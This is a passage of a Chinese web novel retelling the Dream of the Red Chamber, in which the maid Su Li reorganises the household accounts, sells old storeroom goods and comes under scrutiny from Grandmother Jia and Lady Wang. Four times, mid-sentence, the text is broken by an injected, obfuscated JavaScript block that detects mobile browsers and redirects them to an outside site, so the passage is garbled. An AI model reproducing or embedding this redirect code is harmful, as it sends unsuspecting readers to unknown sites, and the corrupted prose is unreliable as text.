她看着眼前这个眉眼沉静、身量尚未完全长开的少女，心中震撼无以复加。自己当初从杂役院提拔她，真是捡到了旷世奇珍！ “好！好！好！”王熙凤连说三个好字，脸上阴霾尽扫，露出灼灼光华，“就依你所言！节流诸事，你与平儿拟出细则，我来推行。开源三策……”她沉吟片刻，“田庄试种和铺面改制，需从长计议，选可靠人手。库房清货一事，倒可先行，由你暗中操办，务必稳妥！” “是，奶奶。”苏璃恭声应下，心中也是一松。这些策略能否奏效尚需时间，但至少，她让王熙凤看到了希望，也让自己的地位更加不可动摇。 就在苏璃于荣国府内悄然推行她的“开源节流策”时，一双来自遥远庙堂的眼睛，也无意间瞥见了这深宅内院泛起的一丝不同寻常的涟漪。 京城，北静王府别院，水榭深处。 水澈一身玄色劲装，外罩石青色暗纹披风，正临窗翻阅着几份刚从各处递来的密报。作为今上暗中栽培、监察百官及勋贵动向的暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908596|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探，他的目光素来落在那些军国大事、党派倾轧之上。荣国府这等已显颓势的老牌勋贵，若非涉及重大关节，通常不会引起他过多注意。 然而，手下呈上的一份关于近期京中银钱流动的例行简报中，一条不起眼的信息引起了他的注意。 简报提到，近来市面有几批成色不错、来源却颇隐晦的旧物出手，包括些半旧的官造瓷器、织锦缎匹、乃至一些做工精巧但式样略老的家具。 东西零散，但汇总起来数目不小，且出货之人行事谨慎，通过几家不同的、背景干净的中人分批处理，所得银钱似乎流向了……荣国府几个关联的隐秘账户？ 荣国府在变卖祖产？这并不稀奇，许多勋贵之家都是这般渐渐败落的。但令水澈微微挑眉的是，简报附带的零星信息显示，几乎与此同时，荣国府内似乎在悄然进行某种整顿：月例发放变得异常清晰准时，仆役人数略有精简，日常采买也有了新的规矩。甚至，荣国府在城南的一处小田庄，据说正在尝试引种一些江南的菜蔬品种。 变卖家当以充府库是败家之举，但同步进行的内部整顿和尝试新的营生，却显出一种反常的、力图扭转颓势的“经营”迹象。这与绝大多数坐吃山空、直至轰然倒塌的勋贵之家，路数截然不同。 更让水澈留神的是，简报末尾提及，荣国府这些变化，似乎与管家奶奶王熙凤身边一个新近得用的丫鬟有关。那丫鬟名唤苏璃，原是最低等的家生奴，却因擅长筹算理账被破格提拔，近来颇受倚重。 一个丫鬟？能有这般见识和手段？ 水澈合上简报，食指无意识地在光洁的紫檀木桌面上轻轻敲击。窗外暮色渐浓，映照着他冷峻的侧脸。 他见过太多世家大族的腐朽与挣扎，早已心冷如铁。但荣国府这不同寻常的“自救”迹象，以及背后那个模糊的丫鬟身影，却像投入古井的一颗小石子，在他心中漾开一丝极淡的、近乎探究的涟漪。 或许，下次监察京城各府动向时，可以稍微分一点心，看看这荣国府，到底在唱哪一出。还有那个叫苏璃的丫鬟……是何方神圣？ 他淡淡吩咐身后如影子般侍立的随从：“留意荣国府，尤其是那个叫苏璃的丫鬟。不必刻意，日常监察时带上即可。” “是。”随从低声应命，悄无声息地退下。 水澈望向窗外沉沉的夜色，荣国府的灯火在远处连成一片模糊的光晕。一场始于深宅内院、关乎生存的细微变革，第一次，落入了庙堂之上、冷眼旁观者的视线之内。 24. 初见成效 库房的灰尘在初夏的光柱里飞舞，带着陈年樟木和织物的气味。苏璃用细棉布掩住口鼻，指挥着几个绝对可靠的婆子，将一堆堆蒙尘的旧物分门别类。 “这套青釉缠枝莲纹的碗碟，胎质细密，釉色均匀，虽非官窑极品，却也是上好民窑精品，切记小心包好，记作‘丙字三号’。” “这些半旧的杭绸、湖绉，花色过时了，但料子本身没坏，按质地、颜色分开，登记在‘布帛册’。” “那几件黑漆螺钿的桌椅，边角有磨损，但工艺尚在，单独立账。” 她的声音不高，条理清晰。婆子们都是平儿精挑细选的，嘴严手稳，默默依言行事。 不过月余的光景，原本塞得满满当当的几间偏库，竟清空了大半，整理出的可用之物登记造册后重新归置，腾出了不少空间。 而那些确定要出手的“闲置”，则被分作数批，通过王熙凤早年暗中经营、绝无外人知晓的几条隐秘渠道，悄然流入了京中几个不同的古董店、旧货行，甚至南城的骡马市。 换回来的，是实打实的银钱。一笔笔数目不算巨大、来源分散的银子，如同涓涓细流，通过同样曲折的路径，汇入了王熙凤的私库，以及填补了几个迫在眉睫的公中窟窿。 这日，苏璃将新一批货出手的账目和银票呈给王熙凤。王熙凤看着那叠轻飘飘却分量十足的票据，又看看账册上清晰列明的物品去向和折价，连日来因各处催款而紧绷的脸上，终于露出了久违的、带着真切喜意的笑容。 “好！真是好！”她拉着苏璃的手，难得地夸赞得这般直白，“想不到那些占地方的破烂，竟真能变出这许多银子来！璃丫头，你真是我的福星！” 苏璃谦逊道：“都是奶奶运筹帷幄，奴婢不过是跑跑腿。也是如今市面还算平稳，这些东西才能脱手。” “你不必过谦。”王熙凤摆摆手，凤眸中精光闪烁，“这清理库房只是第一步。你之前说的田庄试种和铺面改营生的事，我也思量了。城南那个小庄子，管事的是我陪房，还算老实，就让他先试着划出十亩地，照你说的，寻些南边的菜籽花种试试。铺面……我手里有间地段尚可的，原先做绸缎赔了钱，一直空着，改做你说的‘书寓’倒也可行。只是这经营之人……” “奶奶，此事急不得。”苏璃忙道，“需寻那等既懂文墨雅趣，又通庶务经营，还得绝对可靠的。不如先放出风声，慢慢物色。眼下清理库房所得，已可暂解燃眉之急。” 王熙凤点点头：“你说得是，饭要一口口吃。”她看着苏璃，越看越是满意，“你如今管着月例，理着旧账，还操持这库房的事，怕是忙不过来。我让丰儿拨两个小丫头专门给你使唤，跑腿传话，你也轻省些。” 这是进一步的恩宠和放权。苏璃谢过，心中却无多少欢喜，只有更深的警醒。木秀于林，风必摧之。自己如今在王熙凤面前越是得用，在旁人眼中就越是碍眼。 开源初见成效，节流也在稳步推行。月例新规已深入人心，虽然仍有抱怨，但按时足额拿到银子，对绝大多数下人而言是实打实的好处。 各房份例的灵活调剂，也在平儿和苏璃的巧妙操作下，慢慢推行，堵住了不少浪费的漏洞，赵姨娘等人处虽然仍爱占小便宜，但见确实能多得些实惠，抱怨也少了。 府中风气，似乎真的在朝着更有序、也更……“计较”的方向转变。这种转变细微而持续，落在不同人眼中，感受截然不同。 贾母向来都是做“菩萨”的角色，一向乐得清闲，只要不短了她的用度、坏了府中大体面，她并不理会具体如何操持。 王夫人见府中用度似乎有所节制，仆役也规矩了些，对王熙凤的“能干”多了几分认可，先前因周瑞家的事产生的那点芥蒂，也淡了不少。 然而，在另一些人看来，这却是难以忍受的桎梏。 贾琏这日从外头吃酒回来，只见得他醉醺醺地又要支取一笔银子，说是应酬要紧人物。以往这等事，王熙凤虽然不悦，但为了他的面子以及所谓的体面，也为了外面的人情关系，多半也会磨着牙给了。可如今，账目卡在苏璃那里，支取需凭核准的条子。 苏璃看着贾琏小厮递来的、写得潦草含糊的支取单，上面只写了“急用”二字，数目却不小。她平静地回道：“二爷要支取银子，自无不可。只是按新规，需写明具体用途、经手人、何处应酬，奴婢登记后，方可请奶奶用印。” 那小厮回去一学舌，贾琏借着酒意就火了，冲到王熙凤屋里嚷嚷：“如今我花自己家里的银子，倒要看你丫头的脸色了？什么狗屁新规！这府里到底是谁当家？” 王熙凤如今手头因苏璃的谋划略宽松些，底气也更充足了些，闻言便冷笑：“你若是正经用在公事、用在结交有用的人身上，我何曾拦过你？可你次次只说‘急用’、‘应酬’，银子花出去连个响声都听不见！如今府里艰难，再不精打细算，等着喝西北风吗？璃丫头是按我的规矩办事，你有火冲我来！” 夫妻俩大吵一架，不欢而散。贾琏摔门而去，心中对那“多事”的苏璃，更是厌憎到了极点。 更大的隐患，却来自苏璃未曾预料的方向。 那批被她小心筛选后、认为并无特殊标记的青釉瓷器，几经转手，最终被一位喜好风雅的富商购得，摆在了自家新修的别院里赏玩。恰逢这位富商为巴结宫中一位管着部分采买事宜的刘太监，请其过府饮宴。 刘太监在宫里沉浮多年，练就了一双毒眼。席间，他目光扫过那套青釉碗碟，初时只觉得釉色温润，甚是雅致。多看了几眼，心中却微微一动。 这缠枝莲的画法，这釉水发色的感觉……怎么依稀有点早年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908597|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内府瓷器作流出来的那批“次品”的味道？那批瓷器因画工略有瑕疵未能进宫，后来赏给了几位有功的老臣，其中似乎就有贾家？ 他面上不动声色，笑着夸赞瓷器精美，随口问起来历。富商哪知底细，只说是托人从旧货市上淘来的好东西。 刘太监哈哈一笑，不再多问，心中却记下了。回宫后，他寻了个由头，调阅了早年一些不太紧要的赏赐记录。果然，在若干年前的一笔赏赐中，看到了“赏荣国公贾代善青釉缠枝莲纹瓷器两套”的字样。 宫中赏赐之物，即便有瑕疵，也是御赐的体面。勋贵之家即便再艰难，通常也是好好收着，绝不会轻易拿出去发卖，除非……已到了山穷水尽、顾不得体面的地步。或者，是底下人胆大包天，偷偷处理？ 刘太监捻着下巴，眼中闪过一丝玩味。荣国府……看来是真的不行了。这事说大不大，说小不小，关键看有没有人想拿它做文章。 他沉吟片刻，将这条无关紧要的信息，随手记在了一份日常呈报的闲篇里。这份呈报，会按例送到该送的地方。至于会不会被注意到，那就不是他能关心的事了。 几乎与此同时，北静王府别院。 水澈看着手中新呈上的、关于荣国府更详细的监察摘要。除了之前已知的整顿内务、变卖旧物，手下还报上了两条新信息：一是荣国府似乎在尝试于田庄引种南方作物；二是管家奶奶王熙凤身边那个叫苏璃的丫鬟，并非普通的家生奴，其父母早亡，来历有些模糊，且她在被提拔前，曾在杂役院病重几乎死去，痊愈后便性情能力大变。 “病重……性情大变？”水澈指尖划过那行小字，目光微凝。这种桥段，在那些志怪传奇里常见，但在现实中，尤其是一个深宅丫鬟身上，却透着蹊跷。要么是此前深藏不露，要么……就真的有些说不清道不明的古怪了。 更让他注意的是，这丫鬟提出的种种举措，其思路之清晰，眼光之长远，完全超越了一个闺阁婢女应有的见识。即便是王熙凤，也未必能有这般系统的理财谋略。 这个苏璃……究竟是什么人？ 他合上摘要，望向窗外。初夏的夜空星河低垂，荣国府的方向一片宁静的黑暗。但那黑暗之下，似乎正有什么东西，在悄然孕育，搅动着早已沉寂的潭水。 “继续留意。”他淡淡吩咐，“尤其是那个苏璃。有机会的话……不妨看看，她到底是真聪明，还是背后另有高人。” “是。”暗处的身影低声领命。 荣国府内，苏璃对即将到来的、来自不同方向的注视毫无所觉。 她正对着新送来的田庄试种计划皱眉，计算着可能的投入与风险。她只知道，自己必须让这艘渐渐下沉的大船慢一点，再慢一点沉下去。却不知，自己这番努力掀起的细微浪花，已映入了某些高高在上的瞳孔之中。 25. 贾母问话 夏日的荣庆堂，四面窗扉大开，穿堂风带着院子里栀子花的甜香，却也吹不散空气里那点若有若无的沉闷。 贾母歪在临窗的罗汉榻上，身后鸳鸯不轻不重地打着扇。榻边小几上，一盏雨过天青的瓷碗里，冰湃的酸梅汤只动了几口。 王夫人、邢夫人、王熙凤并尤氏都在下首陪着。王夫人捻着佛珠，眼观鼻鼻观心；邢夫人嘴角挂着一丝惯有的、略显刻薄的笑；尤氏则微微垂首，似在思量着什么。王熙凤脸上带着笑，那笑意却未达眼底，指尖无意识地捻着帕子。 厅里安静得有些异样，只有冰块在碗中融化的细微声响。 贾母半阖着眼，仿佛在养神，半晌，才慢悠悠地开口，声音带着老年人特有的缓沉：“凤丫头。” “老祖宗，我在呢。”王熙凤立刻笑着应声，身子微微前倾。 “我近来听说，”贾母依旧没睁眼，语气平淡得像在聊家常，“府里如今发月钱，都要按手印了？连琏儿支取些银子应酬，也得写个清清楚楚的章程？” 这话问得轻飘飘，落在王熙凤耳中却不啻惊雷。她心中一凛，知道终究是有人把话递到老太太跟前了。她飞快地瞥了邢夫人一眼，后者正端起茶盏，掩饰嘴角那抹得色。 “回老祖宗的话，”王熙凤稳住心神，笑容不变，“是有这么回事。前些日子盘账，发现府里用度有些杂乱，各处支取没个定数，底下人也时有抱怨。孙媳想着，无规矩不成方圆，便立了些新章程，也是为着长远计，把账目理清楚些，免得生出不必要的误会，也好让银子花在明处。” “哦？理清楚些？”贾母缓缓睁开眼，那双历经世事的老眼依旧清明，目光在王熙凤脸上顿了顿，“理得琏儿在外头应酬都要看人脸色了？我恍惚听着，如今外头都有些闲话，说咱们荣国府是越发小气了，连爷们儿在外头的体面都顾不上了。” 这话就有些重了。王熙凤脸色微变，忙道：“老祖宗明鉴！孙媳绝无此意！只是……只是近来各处庄子收成不如往年，外面铺子也多艰难，府里进项少，开支却大。孙媳也是没法子，才想着能省则省，该花的花，不该花的……总要有个掂量。琏二爷那边，若真是正经应酬，孙媳何曾拦过？只是怕有些银子花得不明白，纵容了底下人，反倒不好。” 贾母不置可否，目光又转向王熙凤身后的平儿：“平儿，你是个妥当孩子，你说说，如今这新规矩，底下人可有怨言？” 平儿恭声答道：“回老太太的话，新规初行，是有些不惯。但时日久了，月钱按时足额发放，该有的用度也不曾短了，如今抱怨的倒比先前少了。只是……各房主子若有些临时额外的用项，手续上确实比以往繁琐些。” 这话答得滴水不漏，既说明了新规的好处，也不讳言其不便，显得公允。 贾母听了，没说什么，又阖上眼。厅里再次陷入沉寂，那沉默却压得人喘不过气。 过了好一会儿，贾母才又开口，这回语气缓和了些：“凤丫头持家不易，我省得。咱们这样的人家，体面要紧，但根基更要紧。能省俭些，自然是好的。只是……”她顿了顿，“规矩是死的，人是活的。家里爷们在外头行走，脸面就是家里的脸面，该周全的，还得周全。至于底下人，恩威并施才是长久之道，别寒了人心。” “是，孙媳谨记老祖宗教诲。”王熙凤连忙应道，后背却已沁出一层薄汗。老太太这话，看似肯定了她的省俭，实则是在提醒她，不能因小失大，伤了贾琏的体面和府中的人心。 “我听说，”贾母话锋一转，仿佛随口提起，“你跟前如今有个叫苏璃的丫头，很是用得？这些新规矩，大半是她帮着张罗的？” 终于问到正主了。王熙凤心头一跳，面上更加恭谨：“回老祖宗，是有个叫苏璃的丫头，原在杂役院，孙媳见她算学上有些天赋，人也稳重，便提拔到身边帮着料理些账目。新规矩是孙媳定的，她不过是按令行事，跑跑腿罢了。” “哦？算学上有天赋？”贾母似乎来了点兴趣，“一个丫头，能懂这些，倒是不易。多大年纪了？原是哪里人？” “今年该有十四了。是家生的奴才，父母早亡，也没什么亲眷了。”王熙凤小心答道。 “十四……”贾母沉吟着，“还是个孩子呢。能在你跟前当这样的差事，想必是个伶俐的。只是，年纪轻，经历浅，骤然掌了这些事，底下人未必心服，也容易招是非。你多用着她，也多看着些，别让她年轻不知轻重，惹出什么麻烦来，反倒带累了你。” 这话说得语重心长，既是关心，也是敲打。提醒王熙凤要控制好这把“刀”，莫要被反噬。 “老祖宗放心，孙媳晓得分寸。”王熙凤连忙保证。 贾母似乎有些乏了，挥了挥手：“行了，我也就白问一句。你们该忙什么忙什么去吧，别耽误了正事。” 众人如蒙大赦，连忙起身告退。 出了荣庆堂，王熙凤脸上的笑容瞬间消失，面沉如水。邢夫人跟在她身后，不阴不阳地说了一句：“凤丫头，老太太的话你可听真了？持家是好事，可也别太……苛细了，失了咱们这样人家的气度。”说罢，扶着婆子，径自走了。 王夫人看了王熙凤一眼，想说什么，终究只是叹了口气，也走了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908598|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 尤氏落后一步，悄悄拉了拉王熙凤的袖子，低声道：“妹妹今日受累了。老太太年纪大了，图个清净太平，有些话听听就罢，该怎么着还怎么着，只是……那丫头，确需仔细些。”她意指苏璃。 王熙凤勉强笑了笑：“谢大嫂提点，我省得。” 回到自己院里，王熙凤只觉得身心俱疲。贾母的态度暧昧不明，既认可省俭，又顾忌体面；既默许她用苏璃，又提醒她小心驾驭。这其中的分寸，极难把握。而邢夫人的挑衅，王夫人的沉默，尤氏的提醒，都让她感到一种无形的压力。 她独自坐在窗前，看着院子里被晒得发蔫的石榴花，心中第一次对重用苏璃产生了一丝动摇。这丫头，能力太强，锋芒太露，如今连老太太都注意到了。是福，也是祸。 消息很快传到苏璃耳中，是平儿悄悄告诉她的。平儿说完，担忧地看着她：“妹妹，老太太既然问了，往后你行事，更要加倍小心才是。” 苏璃点点头，心中并无太多波澜。贾母的问话在她意料之中。她如今所做之事，触及利益，改变规矩，若一直无人过问，反倒奇怪。贾母的态度，其实已算温和，至少没有直接否定。 但这温和之下潜藏的审视和疑虑，才是最麻烦的。这意味着她不能再像之前那样，借着王熙凤的绝对信任放手施为。她必须更低调，更谨慎，甚至……在某些时候，要学会“藏拙”。 然而，树欲静而风不止。 两日后，王熙凤将苏璃叫去，脸色比前日更加难看，将一封信摔在她面前：“你看看这个！” 苏璃拾起信，是金陵老宅那边一个老管事写来的，言辞恭敬，却暗藏机锋。信中除了例行禀报事务，竟“无意间”提及，听闻京中府里近来行事颇有新意，连宫中旧年赏赐的瓷器都“妥善处置”了，换得了不少实惠，夸赞王熙凤治家有方。末了，又“忧心”地提醒，御赐之物关乎天家颜面，即便府中再难，也需谨慎留存，以免落人口实，伤了老国公爷的体面。 这信看似关心，实则字字诛心！不仅点明了变卖御赐瓷器之事，更将此事拔高到了“损伤祖上体面”、“可能引来天家不悦”的可怕高度！ 苏璃手微微一颤，背脊窜上一股寒意。这事她自认做得隐秘，怎会传到金陵老宅？又是谁，用这般阴毒的方式，将此事捅到了王熙凤面前？ “奶奶，此事……”她急欲解释。 王熙凤疲惫地打断她：“我知道不是你泄露的。定是有人早就盯上了！如今连老宅那边都知道了，怕是……”她没说完，但眼中的忧虑清晰可见。 一波未平，一波又起…… 26. 王夫人心思 金陵老宅那封信，像一块冰，沉甸甸地坠在王熙凤心口，连日都化不开。 她面上依旧雷厉风行，处理家务，呵斥下人，与妯娌说笑，但只有贴身的平儿和日渐敏锐的苏璃能察觉到，那笑容底下的阴霾和偶尔走神时的凝重。 苏璃更是谨言慎行，除了必要回话，几乎将自己缩成一个影子。她知道，那封信的矛头看似指向王熙凤，实则是冲着她这个始作俑者来的。王夫人那里，必须有个态度了。这位平日里吃斋念佛、看似不管事的嫡母，她的心思，才是真正能定风波、也能起波澜的关键。 这日清晨，王夫人院里的玉钏儿过来传话，说太太请二奶奶得空过去一趟。王熙凤正对着一本账册出神，闻讯手中朱笔微微一顿，随即放下，脸上堆起笑：“我这就去。玉钏儿，太太今日精神可好？” 玉钏儿笑道：“奶奶放心，太太刚用了早膳，正看着小丫头们收拾佛堂呢，精神头挺好。” 王熙凤点点头，吩咐平儿看家，又似无意地瞥了一眼正在一旁安静整理信札的苏璃，什么也没说，便带着丰儿去了。 苏璃心知肚明，这场召见，必然与那封信有关。她垂眸，继续将各地庄子送来的年节禀帖按轻重缓急分类，动作一丝不乱，心中却如窗外微澜的池水，映着天光云影，也藏着暗流。 王夫人院里果然弥漫着一股淡淡的檀香气。佛堂刚清扫过，地面湿润，几个小丫鬟正轻手轻脚地擦拭着佛龛。王夫人并未在正房，而是坐在东次间临窗的暖炕上，手里捻着一串蜜蜡佛珠，面前小几上放着一本摊开的《金刚经》，经书旁，赫然便是那封惹事的信。 王熙凤进去，笑着请了安，在王夫人下首的绣墩上坐了。丰儿乖觉地退到门外廊下等候。 “凤丫头来了，”王夫人抬起眼，目光在她脸上停留一瞬，语气平和，“这几日瞧着你也清减了些，可是府里事务太繁重了？” “劳太太挂心，不过是些琐碎事，孙媳还应付得来。”王熙凤忙笑道，“倒是太太，近日天时不好，早晚寒气重，您可要仔细保养。” 王夫人“嗯”了一声，手指慢慢拨动着佛珠，目光落回那本经书上，仿佛随口问道：“前儿金陵老宅那边来信，你可看了？” 来了。王熙凤心下一紧，面上却不动声色：“看了。不过是些日常禀报，孙媳已按旧例回了信去。” “哦？”王夫人抬起眼，目光平静无波，却带着一种洞察的力度，“我恍惚听着，信里还提了别的事？说是京中府里近来行事利落，连些陈年旧物都处置得当，添了不少进益？” 王熙凤知道瞒不过，便斟酌着词句道：“回太太，确是有些。库房里些年久无用、白占地方的物件，孙媳想着堆着也是霉烂，便让人清理了一番，挑些能换钱的，悄悄处置了，所得银两都入了公账，也好贴补些日常用度。如今府里进项不比往年，能省一点是一点。” 她绝口不提苏璃，只将事情揽在自己身上。 王夫人静静听着，脸上看不出喜怒，只道：“懂得节俭是好事。咱们这样的人家，外表看着光鲜，内里的难处，自己知道。能想着开源节流，是你的苦心。” 这话听着是肯定，王熙凤心下稍安，正要谦逊几句，却听王夫人话锋一转，语气依旧平淡，却重若千钧： “只是，凤丫头，你要记住，咱们是勋贵世家，不是那等斤斤计较的商贾门户。有些体面，是老祖宗拿命挣下来的，比银子金贵。就比如这信里提到的……宫中旧年赏赐之物，即便式样老了，或是略有瑕疵，那也是天家的恩典，代表着祖上的荣光。 这些东西，可以收着不用，甚至可以传给子孙做个念想，却万不可轻易拿出去换做银钱。一来，恐惹人笑话，说咱们贾家已经到了变卖御赐之物度日的地步；二来，若被有心人拿去做文章，扣上个‘大不敬’或是‘怨望’的罪名，那便是倾家灭族之祸！” 最后几个字，王夫人说得极慢，每个字都像小锤子敲在王熙凤心上。她脸色微微发白，忙起身道：“太太教训的是！是孙媳考虑不周，只顾着眼前银钱，险些酿成大错！孙媳回去立刻严查，若有此类物件流出，无论如何也要追回！” 王夫人摆摆手，示意她坐下：“罢了，既然已经处置了，追回来反倒更惹眼。往后切记便是。我听说，这些事，是你跟前那个叫苏璃的丫头在经手？” 终于点到了名字。王熙凤心念电转，恭声答道：“是。那丫头在算学上有些天赋，人也还算细致，孙媳便让她帮着打理些杂项账目。库房清货的事，也是孙媳定了章程，她不过是跑腿办事。若有什么不妥，都是孙媳督导不严之过。” 她依旧将责任揽在自己身上，但也没完全否认苏璃的参与。 王夫人捻着佛珠，沉吟片刻，方道：“丫头聪明能干是好事，能为你分忧。但你要明白，奴才终究是奴才，再得用，也只是个器具。用得好，事半功倍；用得不好，或是持器之人反被器具所伤，便是主仆颠倒，乱了纲常。我冷眼瞧着，这丫头近来风头是有些过了，府里府外，她的名号响得很哪。” 王熙凤心中凛然，知道这才是王夫人今日敲打的真正核心。她低声道：“太太明鉴。孙媳也觉着她年纪轻，近来是有些张扬了。回去定好好约束，断不让她恃宠而骄，坏了府里规矩。” “嗯，”王夫人满意地点点头，语气缓和了些，“你明白就好。管家理事，恩威并施是根本。对底下人，该赏的要赏，该罚时也绝不能手软。尤其是这等有些才干的，心气往往也高，若不早早磨平了棱角，将来必成祸患。你可还记得……从前我身边的金钏儿？” 王熙凤心头一跳，忙道：“记得。” “金钏儿也是个伶俐的，跟了我那么多年，就因一时行为不谨，我说撵也就撵了。”王夫人语气淡漠，仿佛在说一件微不足道的小事，“没有什么人是不可替代的。主子给的脸面，能给她，也能收回来。这府里，离了谁，天也塌不下来。” 这话如同三九天的冰水，浇得王熙凤通体生寒。她知道，王夫人这是在明确地划下红线：苏璃可以用，但必须牢牢控制在手心，一旦有失控的迹象，或触及了根本利益和规矩，舍弃起来也绝不能犹豫。 “孙媳谨记太太教诲。”王熙凤深深低下头。 王夫人见她受教，便不再多言，转而问起宝玉近日的饮食起居，仿佛刚才那番暗流汹涌的对话从未发生过。又闲话了几句，王熙凤才告退出来。 走出王夫人的院子，初夏的阳光明晃晃地照在身上，王熙凤却觉得有些冷。丰儿见主子脸色不好，也不敢多问，默默跟在身后。 王熙凤回到自己院里，屏退了旁人，只留下平儿，将王夫人的话大致说了一遍，末了叹道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908599|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……太太这话，分明是听到了风声，对苏璃已生了忌惮之心。往后，咱们用她，得更小心了。” 平儿蹙眉道：“奶奶，太太的话在理。璃丫头确实能干，可树大招风。如今连老太太、太太都注意到她了，周瑞家的虽倒了，可这府里恨她、怕她的人不知还有多少。再让她像之前那样冲在前头，只怕……” 王熙凤烦躁地揉了揉眉心：“我何尝不知？只是如今府里这摊子，离了她，许多事还真就转不动。外面庄子铺子的账，里面各房的用度，还有库房那些七零八碎……平儿，你虽能干，也架不住这般千头万绪。她就像一把快刀，用好了，能斩乱麻；可用不好，也确实容易伤到自己。” 主仆二人都沉默下来。正在这时，外面小丫鬟报：“奶奶，苏璃姑娘来了，问奶奶可要现在看昨儿庄子送来的账目。” 王熙凤与平儿对视一眼，扬声道：“让她进来。” 苏璃捧着几本账册走了进来，神色如常，恭敬地行礼后将账册呈上：“奶奶，这是南边几个庄子新送来的夏粮预支账目，奴婢初步核对了，有几处数目似乎与往年惯例不符，已用朱笔标出，请奶奶过目。” 王熙凤接过账册，翻看着上面清晰工整的字迹和醒目的朱笔标注，心中更是复杂。这丫头，做事永远这般妥帖周到，让人挑不出错处，可越是如此，那份无形的压力就越大。 她合上账册，看着垂手侍立的苏璃，忽然问道：“苏璃，你如今在府里，也经手不少事了。可曾觉得……有什么难处？或是，有什么人让你觉得为难？” 苏璃心中一震，知道考验来了。她抬起头，目光清澈坦荡，声音平稳：“回奶奶的话，奴婢蒙奶奶信重，得以学习料理些许杂事，唯有尽心竭力，以报奶奶恩典。若有难处，也是奴婢学艺不精、思虑不周所致，当自行克服。至于旁人……奴婢谨记本分，只管做好奶奶交代的差事，不敢窥探，亦不敢与非分之人交往，并无人为难奴婢。” 她这话答得滴水不漏，既表了忠心，也撇清了自己结党营私的可能，将一切归于王熙凤的“信重”和自己的“本分”。 王熙凤盯着她看了片刻，忽然笑了笑，只是那笑容有些淡：“没有就好。你是个明白人，当知在这深宅大院里，什么该做，什么不该做；什么风头该出，什么风头出了会惹祸。往后……外面那些过于扎眼的事，你暂且放一放，多帮平儿打理些府内的日常账目就好。库房那边，我让林之孝家的暂时接手。” 这是明升暗降，收权了。苏璃心中了然，面上却无半分不满，恭顺应道：“是，奴婢遵命。平儿姐姐经验丰富，奴婢正可多多学习。” 王熙凤见她如此顺从，心下稍安，又安抚了几句，便让她退下了。 苏璃退出房门，走在回廊下，阳光将她身影拉得细长。她知道，经王夫人一番敲打，王熙凤不得不收紧手中的线。她这只风筝，飞得再高，线头始终攥在别人手里。之前的“开源节流策”，尤其是变卖库房旧物这一项，恐怕要就此搁浅，至少，她不能再作为主导了。 然而，她并未感到多少失落。蛰伏，是为了更好地积蓄力量。王夫人的忌惮，恰恰证明了她如今的价值和存在感。只要核心的账目管理权还在手中，只要王熙凤在财政上依旧依赖她的能力，她就还有辗转腾挪的空间。 只是，树欲静而风不止。 27. 宝玉与黛玉 自那日从王夫人院里回来，苏璃果然收敛了许多。 外头庄子铺子的事情，渐渐交还给林之孝家的并几个管事媳妇，她只每日在屋里，帮着平儿核对些府内月例、各房用度的细账，或是将陈年旧账重新誊录整理。闲时便只在自己那小小耳房内，或临帖，或做些针黹，轻易不出二门。 偶尔遇上回事的媳妇婆子，也多是垂首静听，话比往日更少了三分。府里那些或明或暗盯着她的眼睛，见她这般安静，议论声便也渐渐低了下去。凤姐冷眼瞧着，心下稍安，待她倒比先前更显宽和，常有赏赐。 这日午后，黛玉吃了药，歪在碧纱橱里，只觉得身上懒懒的，心口也闷闷的，说不出的烦恶。紫鹃端了温水来漱口，又递上一盅温着的燕窝粥，劝道：“姑娘好歹用两口，这粥炖了快两个时辰，最是润肺的。” 黛玉摇摇头，推开那小巧的甜白瓷盅，目光落在窗外。几竿翠竹被午后的阳光照得通透，风过时，飒飒作响，影子在茜纱窗上摇曳不定，搅得她心头那点无名惆怅，也跟着晃悠悠的，没个着落处。 忽又想起早起听雪雁说，前儿宝玉得了个什么新奇玩意儿，巴巴地先送了去宝姐姐那里。她本不是那等小性儿的人，不知怎的，这话听了，却像根细刺，梗在喉咙里，上不去下不来。 正自出神，忽听得外面小丫鬟笑道：“宝二爷来了！” 